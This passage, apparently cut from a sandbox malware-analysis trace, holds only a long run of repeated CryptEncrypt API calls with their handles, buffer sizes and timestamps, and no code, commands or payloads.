pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.103] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.104] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.105] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.106] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.107] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.108] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.109] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 